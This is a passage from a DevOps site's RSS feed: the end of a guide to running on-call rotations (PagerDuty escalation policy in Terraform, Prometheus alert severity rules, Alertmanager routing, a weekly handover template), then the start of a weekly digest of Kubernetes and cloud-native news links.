        <a href="#h2-step-2-build-an-escalation-policy-that-actually-catches-drops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: Build an Escalation Policy That Actually Catches Drops
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-2-build-an-escalation-policy-that-actually-catches-drops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A page that nobody answers is worse than no page at all, because the incident keeps burning while you have a false sense of &quot;someone is on it.&quot; Your escalation policy is the safety net.</p>
<p>The classic pattern: primary gets paged, has 5 minutes to acknowledge, then secondary, then a manager or incident commander.</p>
<pre><code class="hljs language-text">+---------------------+
|  Alert fires        |
+----------+----------+
           |
           v
+----------+----------+        +---------------------+
| Primary on-call     | -----&gt; | ACK within 5 min?   |
+----------+----------+        +----------+----------+
                                          | No
                                          v
                              +-----------+-----------+
                              | Secondary on-call     |
                              +-----------+-----------+
                                          |
                                          | No ACK in 10 min
                                          v
                              +-----------+-----------+
                              | Incident Commander    |
                              | or Engineering Manager|
                              +-----------------------+
</code></pre><p>Here is the same policy in Terraform:</p>
<pre><code class="hljs language-hcl"><span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;pagerduty_escalation_policy&quot;</span> <span class="hljs-string">&quot;platform&quot;</span> {
  name      = <span class="hljs-string">&quot;Platform Escalation&quot;</span>
  num_loops = <span class="hljs-number">2</span>

  rule {
    escalation_delay_in_minutes = <span class="hljs-number">5</span>
    target {
      type = <span class="hljs-string">&quot;schedule_reference&quot;</span>
      id   = pagerduty_schedule.primary_oncall.id
    }
  }

  rule {
    escalation_delay_in_minutes = <span class="hljs-number">10</span>
    target {
      type = <span class="hljs-string">&quot;schedule_reference&quot;</span>
      id   = pagerduty_schedule.secondary_oncall.id
    }
  }

  rule {
    escalation_delay_in_minutes = <span class="hljs-number">15</span>
    target {
      type = <span class="hljs-string">&quot;user_reference&quot;</span>
      id   = pagerduty_user.engineering_manager.id
    }
  }
}
</code></pre><p>Three things worth calling out:</p>
<ol>
<li><strong>5 minutes to acknowledge is the sweet spot.</strong> Less than that and you escalate before someone has unlocked their phone. More than that and a real outage burns for too long before help arrives.</li>
<li><strong><code>num_loops = 2</code> means the policy retries.</strong> If the manager also misses it, it goes back to the primary. Without this, a sleeping team can drop a page entirely.</li>
<li><strong>The manager is a fallback, not the default.</strong> If your manager is getting paged regularly, your team is too small or your alerts are too noisy. Probably both.</li>
</ol>
<h2 id="h2-step-3-cut-alert-noise-ruthlessly" class="group relative scroll-mt-24">
        <a href="#h2-step-3-cut-alert-noise-ruthlessly" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: Cut Alert Noise Ruthlessly
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-3-cut-alert-noise-ruthlessly"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is where most on-call rotations live or die. The right number of pages per week per engineer is roughly <strong>0 to 2</strong>, and only one of those should happen outside business hours. If you are above that, you have a noise problem and no escalation policy will save you.</p>
<p>The fix is severity tiers. Not every alert deserves a phone call.</p>
<table>
<thead>
<tr>
<th>Severity</th>
<th>Action</th>
<th>Example</th>
</tr>
</thead>
<tbody><tr>
<td><code>page</code></td>
<td>Wake someone up</td>
<td>API error rate above 5% for 5 minutes</td>
</tr>
<tr>
<td><code>ticket</code></td>
<td>File a ticket</td>
<td>Disk at 80%, certificate expires in 14 days</td>
</tr>
<tr>
<td><code>info</code></td>
<td>Log only, no action</td>
<td>Deploy started, cache warmed</td>
</tr>
</tbody></table>
<p>Encode this in your Prometheus alert rules. Example:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">groups:</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">api-availability</span>
  <span class="hljs-attr">interval:</span> <span class="hljs-string">30s</span>
  <span class="hljs-attr">rules:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">alert:</span> <span class="hljs-string">APIHighErrorRate</span>
    <span class="hljs-attr">expr:</span> <span class="hljs-string">|
      (
        sum(rate(http_requests_total{job=&quot;api&quot;,status=~&quot;5..&quot;}[5m]))
        /
        sum(rate(http_requests_total{job=&quot;api&quot;}[5m]))
      ) &gt; 0.05
</span>    <span class="hljs-attr">for:</span> <span class="hljs-string">5m</span>
    <span class="hljs-attr">labels:</span>
      <span class="hljs-attr">severity:</span> <span class="hljs-string">page</span>
      <span class="hljs-attr">team:</span> <span class="hljs-string">platform</span>
    <span class="hljs-attr">annotations:</span>
      <span class="hljs-attr">summary:</span> <span class="hljs-string">&quot;API 5xx error rate above 5% for 5 minutes&quot;</span>
      <span class="hljs-attr">runbook:</span> <span class="hljs-string">&quot;https://runbooks.example.com/api-high-error-rate&quot;</span>
      <span class="hljs-attr">dashboard:</span> <span class="hljs-string">&quot;https://grafana.example.com/d/api-overview&quot;</span>

  <span class="hljs-bullet">-</span> <span class="hljs-attr">alert:</span> <span class="hljs-string">DiskSpaceWarning</span>
    <span class="hljs-attr">expr:</span> <span class="hljs-string">|
      (1 - (node_filesystem_avail_bytes{mountpoint=&quot;/&quot;} / node_filesystem_size_bytes{mountpoint=&quot;/&quot;})) &gt; 0.80
</span>    <span class="hljs-attr">for:</span> <span class="hljs-string">30m</span>
    <span class="hljs-attr">labels:</span>
      <span class="hljs-attr">severity:</span> <span class="hljs-string">ticket</span>
      <span class="hljs-attr">team:</span> <span class="hljs-string">platform</span>
    <span class="hljs-attr">annotations:</span>
      <span class="hljs-attr">summary:</span> <span class="hljs-string">&quot;Disk usage above 80% on <span class="hljs-template-variable">{{ $labels.instance }}</span>&quot;</span>
      <span class="hljs-attr">runbook:</span> <span class="hljs-string">&quot;https://runbooks.example.com/disk-space&quot;</span>
</code></pre><p>Then route on severity in Alertmanager. <code>page</code> goes to PagerDuty, <code>ticket</code> opens a Jira issue, <code>info</code> posts to a Slack channel nobody is required to read:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">route:</span>
  <span class="hljs-attr">receiver:</span> <span class="hljs-string">slack-info</span>
  <span class="hljs-attr">group_by:</span> [<span class="hljs-string">&#x27;alertname&#x27;</span>, <span class="hljs-string">&#x27;cluster&#x27;</span>]
  <span class="hljs-attr">routes:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">matchers:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">severity=&quot;page&quot;</span>
    <span class="hljs-attr">receiver:</span> <span class="hljs-string">pagerduty-platform</span>
    <span class="hljs-attr">group_wait:</span> <span class="hljs-string">30s</span>
    <span class="hljs-attr">group_interval:</span> <span class="hljs-string">5m</span>
    <span class="hljs-attr">repeat_interval:</span> <span class="hljs-string">4h</span>

  <span class="hljs-bullet">-</span> <span class="hljs-attr">matchers:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">severity=&quot;ticket&quot;</span>
    <span class="hljs-attr">receiver:</span> <span class="hljs-string">jira-platform</span>
    <span class="hljs-attr">group_wait:</span> <span class="hljs-string">5m</span>

  <span class="hljs-bullet">-</span> <span class="hljs-attr">matchers:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">severity=&quot;info&quot;</span>
    <span class="hljs-attr">receiver:</span> <span class="hljs-string">slack-info</span>

<span class="hljs-attr">receivers:</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">pagerduty-platform</span>
  <span class="hljs-attr">pagerduty_configs:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service_key:</span> <span class="hljs-string">&lt;REDACTED&gt;</span>
    <span class="hljs-attr">description:</span> <span class="hljs-string">&#x27;{{ .CommonAnnotations.summary }}&#x27;</span>
    <span class="hljs-attr">details:</span>
      <span class="hljs-attr">runbook:</span> <span class="hljs-string">&#x27;{{ .CommonAnnotations.runbook }}&#x27;</span>
      <span class="hljs-attr">dashboard:</span> <span class="hljs-string">&#x27;{{ .CommonAnnotations.dashboard }}&#x27;</span>

<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">jira-platform</span>
  <span class="hljs-attr">webhook_configs:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">url:</span> <span class="hljs-string">&#x27;https://jira-bot.example.com/create&#x27;</span>

<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">slack-info</span>
  <span class="hljs-attr">slack_configs:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">api_url:</span> <span class="hljs-string">&#x27;https://hooks.slack.com/services/...&#x27;</span>
    <span class="hljs-attr">channel:</span> <span class="hljs-string">&#x27;#alerts-info&#x27;</span>
</code></pre><p>Two non-negotiable rules for any rule labelled <code>severity: page</code>:</p>
<ol>
<li><strong>It must link to a runbook.</strong> Not a wiki home page. A document with the actual commands to run. If you cannot write a runbook, the alert is not actionable enough to page on.</li>
<li><strong>It must include a <code>for:</code> clause of at least 2 minutes.</strong> This prevents flapping. The disk that fills to 81% for 30 seconds because of a log rotation should not wake you.</li>
</ol>
<h2 id="h2-step-4-review-pages-every-week" class="group relative scroll-mt-24">
        <a href="#h2-step-4-review-pages-every-week" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Review Pages Every Week
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-4-review-pages-every-week"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The cheapest reliability work you can do is a weekly on-call review. 30 minutes, every Monday, with the off-going engineer talking through every page they got.</p>
<p>A simple template:</p>
<pre><code class="hljs language-text">On-Call Handover: 2026-05-18 to 2026-05-25
Engineer: Alice

Pages received: 4
  - Mon 02:14  APIHighErrorRate         REAL    fixed by rolling deploy
  - Tue 09:02  DiskSpaceWarning         NOISE   threshold too low, raised to 90%
  - Wed 04:33  PodCrashLoopBackOff      REAL    OOMKilled, increased memory limit
  - Sat 23:48  CertExpiryWarning        NOISE   renewal cron already running, ack window too short

Action items:
  1. Raise DiskSpaceWarning to 90% and move to severity=ticket (Alice, this week)
  2. Increase ack window on CertExpiryWarning from 5m to 30m (Bob, this week)
  3. Document OOM debug runbook (Carol, by next handover)
</code></pre><p>If an alert shows up as <code>NOISE</code> two weeks in a row, it gets fixed or it gets deleted. No exceptions. This is the single most important habit. Without it, your alert rules accumulate noise the same way a closet accumulates clothes you never wear.</p>
<h2 id="h2-what-you-should-do-this-week" class="group relative scroll-mt-24">
        <a href="#h2-what-you-should-do-this-week" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What You Should Do This Week
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-you-should-do-this-week"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You probably will not redesign your entire on-call setup tomorrow. Pick one of these and do it before Friday:</p>
<ol>
<li><strong>Pull last month of pages from PagerDuty.</strong> Count how many were real vs noise. If the noise ratio is over 30%, your team is being trained to ignore the pager.</li>
<li><strong>Add a <code>runbook</code> annotation to your top 5 noisiest alerts.</strong> Even a one-paragraph &quot;if you see this, check X and Y&quot; is enough to start.</li>
<li><strong>Add a secondary on-call schedule</strong> if you do not have one. Even if it is the same five people, the escalation safety net is worth it.</li>
<li><strong>Schedule a 30-minute weekly handover meeting.</strong> Block it on the calendar as recurring. Make it dead simple to attend, even from a phone in a coffee shop.</li>
</ol>
<p>On-call will never be fun. But it should not be the reason your best engineers polish their CVs. Treat it like a system that needs maintenance, not a tax you collect from junior engineers, and your retention numbers will thank you.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 22, 2026]]></title>
      <link>https://devops.anhp.site/news/2026-week-22</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 25 May 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/news/2026-week-22</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by be4n</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-why-kubernetes-policy-enforcement-happens-too-lateand-what-to-do-about-it" class="group relative scroll-mt-24">
        <a href="#h3-why-kubernetes-policy-enforcement-happens-too-lateand-what-to-do-about-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why Kubernetes policy enforcement happens too late—and what to do about it
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-kubernetes-policy-enforcement-happens-too-lateand-what-to-do-about-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kubernetes has become the backbone of modern cloud-native infrastructure. Its flexibility lets teams move fast, compose complex systems from modular components, and deploy across environments with rel</p>
<p><strong>📅 May 25, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/25/why-kubernetes-policy-enforcement-happens-too-late-and-what-to-do-about-it/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-zero-downtime-migration-from-ingress-nginx-to-envoy-gateway" class="group relative scroll-mt-24">
        <a href="#h3-zero-downtime-migration-from-ingress-nginx-to-envoy-gateway" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Zero-Downtime migration from ingress NGINX to Envoy Gateway
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-zero-downtime-migration-from-ingress-nginx-to-envoy-gateway"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Teams running Ingress NGINX in production are increasingly evaluating migration paths as Kubernetes networking evolves toward Gateway API. For many organizations, the challenge is not just selecting a</p>
<p><strong>📅 May 25, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/25/zero-downtime-migration-from-ingress-nginx-to-envoy-gateway/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-neo-automations-scheduled-tasks-shipped-as-pull-requests" class="group relative scroll-mt-24">
        <a href="#h3-neo-automations-scheduled-tasks-shipped-as-pull-requests" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Neo Automations: Scheduled Tasks Shipped as Pull Requests
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-neo-automations-scheduled-tasks-shipped-as-pull-requests"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Recurring platform work slips: provider versions fall behind, drift accumulates between checks, and the quarterly audit keeps getting pushed back another month. Pulumi Neo can now run any task on a ca</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/neo-automations/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-powered-event-driven-amazon-eks-ami-updates-with-gitops" class="group relative scroll-mt-24">
        <a href="#h3-ai-powered-event-driven-amazon-eks-ami-updates-with-gitops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI-powered event-driven Amazon EKS AMI updates with GitOps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-powered-event-driven-amazon-eks-ami-updates-with-gitops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This post demonstrates an automated solution that combines AI-powered risk analysis with GitOps principles to streamline Amazon EKS AMI updates while maintaining appropriate human oversight through fa</p>
<p><strong>📅 May 20, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/ai-powered-event-driven-amazon-eks-ami-updates-with-gitops/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-managing-k8s-agent-updates-at-scale-with-helm-and-terraform" class="group relative scroll-mt-24">
        <a href="#h3-managing-k8s-agent-updates-at-scale-with-helm-and-terraform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Managing K8s Agent Updates at Scale with Helm and Terraform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-managing-k8s-agent-updates-at-scale-with-helm-and-terraform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Managing an agent on a single Kubernetes cluster is usually straightforward. Managing that same agent across five, ten, or fifty clusters is where things get harder. When you need to roll out an agent</p>
<p><strong>📅 May 20, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/managing-k8s-agent-updates-at-scale-with-helm-and-terraform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-etcd-370-beta0" class="group relative scroll-mt-24">
        <a href="#h3-announcing-etcd-370-beta0" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing etcd 3.7.0-beta.0
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-etcd-370-beta0"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>SIG-Etcd announces the availability of the first beta release of etcd v3.7.0. This new version of the popular distributed database and key Kubernetes component includes the long-requested RangeStream </p>
<p><strong>📅 May 20, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/20/etcd-370-beta/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-etcd-v370-beta0" class="group relative scroll-mt-24">
        <a href="#h3-announcing-etcd-v370-beta0" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing etcd v3.7.0-beta.0
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-etcd-v370-beta0"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>SIG-Etcd announces the availability of the first beta release of etcd v3.7.0. This new version of the popular distributed database and key Kubernetes component includes the long-requested RangeStream </p>
<p><strong>📅 May 19, 2026</strong> • <strong>📰 etcd Blog</strong></p>
<p><a href="https://etcd.io/blog/2026/etcd-370-beta/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-simplify-ai-infrastructure-for-aws-trainium-and-elastic-fabric-adapter-with-kubernetes-dynamic-resource-allocation" class="group relative scroll-mt-24">
        <a href="#h3-simplify-ai-infrastructure-for-aws-trainium-and-elastic-fabric-adapter-with-kubernetes-dynamic-resource-allocation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Simplify AI infrastructure for AWS Trainium and Elastic Fabric Adapter with Kubernetes Dynamic Resource Allocation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-simplify-ai-infrastructure-for-aws-trainium-and-elastic-fabric-adapter-with-kubernetes-dynamic-resource-allocation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As organizations scale AI workloads in containerized environments, they face the complexity of managing specialized hardware that creates friction between infrastructure teams focused on stability and</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/simplify-ai-infrastructure-for-aws-trainium-and-elastic-fabric-adapter-with-kubernetes-dynamic-resource-allocation/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-opentelemetry-is-a-cncf-graduated-project" class="group relative scroll-mt-24">
        <a href="#h3-opentelemetry-is-a-cncf-graduated-project" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenTelemetry is a CNCF Graduated Project
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opentelemetry-is-a-cncf-graduated-project"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, the Cloud Native Computing Foundation (CNCF) announced that OpenTelemetry has graduated. Graduation is an important milestone for the project and reflects the strength of the OpenTelemetry comm</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
